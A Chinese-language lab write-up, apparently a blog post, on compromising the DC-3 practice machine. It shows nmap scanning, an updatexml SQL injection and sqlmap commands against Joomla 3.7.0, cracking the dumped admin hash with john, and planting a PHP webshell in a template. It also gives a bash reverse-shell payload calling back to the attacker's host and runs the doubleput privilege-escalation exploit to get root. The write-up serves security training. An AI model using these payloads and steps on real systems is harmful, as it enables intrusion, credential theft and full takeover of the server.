DC-3靶机学习

日常操作,先用nmap扫一遍
nmap -T4 -sV 192.168.180.1/24

nmap扫描常用命令
-T1-6	设置扫描的速度,一般使用T4
-p	探测指定端口,例如"1-65535,1433、80等"
-v	显示扫描过程,推荐使用
-A	强力扫描,全面系统检测,扫描等
-sV	探测端口的服务版本
-sT	TCP连接扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息
-sS	SYN扫描,很少有系统能够把它记入系统日志。不过,需要root权限
-sP	ping扫描,Nmap在扫描端口时,默认会使用ping扫描,只有主机存活,Nmap才会继续扫描

可以看出目标机器的IP为192.168.180.197,开放的端口为80端口,登入网站,查看情况

首页中信息表示就有这一个flag,最终的flag需要得到root权限获得,查看了以下网页的源代码,得知该网页是通过joomla搭建的

然后去github找了一个joomla扫描工具,扫一扫版本信息和漏洞信息,得到了joomla的版本为3.7.0,管理员的页面为http://192.168.180.197/administrator/,尝试了弱密码无法登录,那就只能另寻他路

打开msfconsole,使用命令搜索joomla3.7版本的相关信息
searchsploit joomla 3.7.0

打开 php/webapps/42033.txt的文件,里面提到了sqlmap的payload以及poc
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

使用文件中给出的POC,访问该链接,验证一下漏洞,将localhost替换为目标机器的IP地址,然后使用updatexml的报错注入
http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,version()),0)
这里简单提一嘴,虽然可以用报错注入得出user和version等简单信息,但是数据库的内容却不能用这个方法搞出来,无奈只能用sqlmap跑了

sqlmap的常用参数
-u 存在注入点的URL
-dbs 列出所有的数据库
-D 指定数据库名
-T 指定表名
-C 指定字段
-D db_name -table 列出指定数据库的所有表名
-D db_name -T table_name -columns 列出指定数据库中的指定表的所有字段
-dump 获取字段中的数据
-batch 使用默认选项

然后使用sqlmap对这个EXP进行注入,将localhost替换为目标机器的IP地址,尝试注入
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

第一次注入得到了网站数据库的所有库名


然后注入joomladb数据库得到表名
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -tables


猜测表名"#__users"可能含有我们需要的信息,继续使用sqlmap猜解列名,选项全部选择y,然后暴力破解,果然出现了熟悉的username和password
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -columns


列出所有的列名的所有字段内容,得到了用户名和经过加密的密码hash值
$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -columns --dump

使用kali自带的解密hash工具john,将hash放入一个txt文件中,对该hash值进行解密,可以得到admin的密码为snoopy
john dc-3.txt对文件中的hash解密,dc-3.txt文件中存放的是hash值

john -show dc-3.txt可以查看之前解密的历史hash,解密的历史hash文件在/home/fmh/.john/john.pot

拿着这个密码登录joomla的后台

joomla的模板界面可以编辑网页的后台脚本文件,那么也可以往里面写入一句话木马

写入shell,然后使用蚁剑连接在该模板下创建的木马文件http://192.168.180.197/templates/beez3/shell.php

查看权限以及目标机器的版本号为Ubuntu 16.04

既然需要提权,那么就需要寻找该版本主机是否存在提权漏洞,在msfconsole查找Ubuntu 16.04存在的漏洞信息,可以看见该版本的Ubuntu存在可以提权的漏洞
searchsploit Ubuntu 16.04

打开该文件,查看漏洞的详细信息
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

按正常操作,确实是打开地址就可以访问exp的下载地址,但是可能是时间太久的原因,文中给的提权下载脚本的地址不能访问,只能通过以下链接把exploit-db所有的漏洞利用脚本下载下来,有1个多G
https://github.com/offensive-security/exploitdb-bin-sploits/archive/refs/tags/2022-11-04.zip

下载后解压压缩包,然后找到39772.zip,解压之后,找到exploit.tar,里面包含着compile.sh和doubleput.c等文件,通过蚁剑将该压缩包传入目标机器的文件夹,我传入了tmp文件夹,因为这个文件夹没有什么权限限制

传入压缩文件之后,使用命令解压文件tar -xvf exploit.tar

tar的常用参数
-x:从压缩的文件中提取文件
-z:支持gzip解压文件
-v:显示详细的tar处理的文件信息,将正在处理的文件名显示出来
-f:指定压缩文件
-t:显示压缩文件的内容
-c:创建新的文档,将文件归档
-C:指定路径。创建压缩包,或者解压文件放到指定路径

这里直接通过蚁剑的终端进行提权失败了,所以就需要重新通过之前的方法写入一个后门,让其反弹一个shell回来

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.180.52/4445 0>&1' ");
?> 
bash -c:bash会从参数后面的字符串中读取命令
bash -i:会创建一个交互式的命令行(bash);
&>将bash的标准输出重定向至/dev/tcp/192.168.180.52/4445 这个socket连接;
0>&1将标准输入重定向至标准输出,最终的结果就是标准输入也被重定向到TCP连接中,因此输入和输出都可以在客户端上进行,通过TCP连接和bash进行交互。

然后kali主机使用命令nc -lvvp 4445监听4445端口,访问链接http://192.168.180.197/templates/beez3/webshell.php,可以看见shell已经被反弹回来了,然后使用python做一个交互式shell,显示更加清楚
python -c "import pty;pty.spawn('/bin/sh')"

依然按照之前的提权命令进行提权,查看权限,可以看到提权成功,权限变为root

./compile.sh
./doubleput

权限提升之后,访问root下的文件夹,得到flag.txt文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值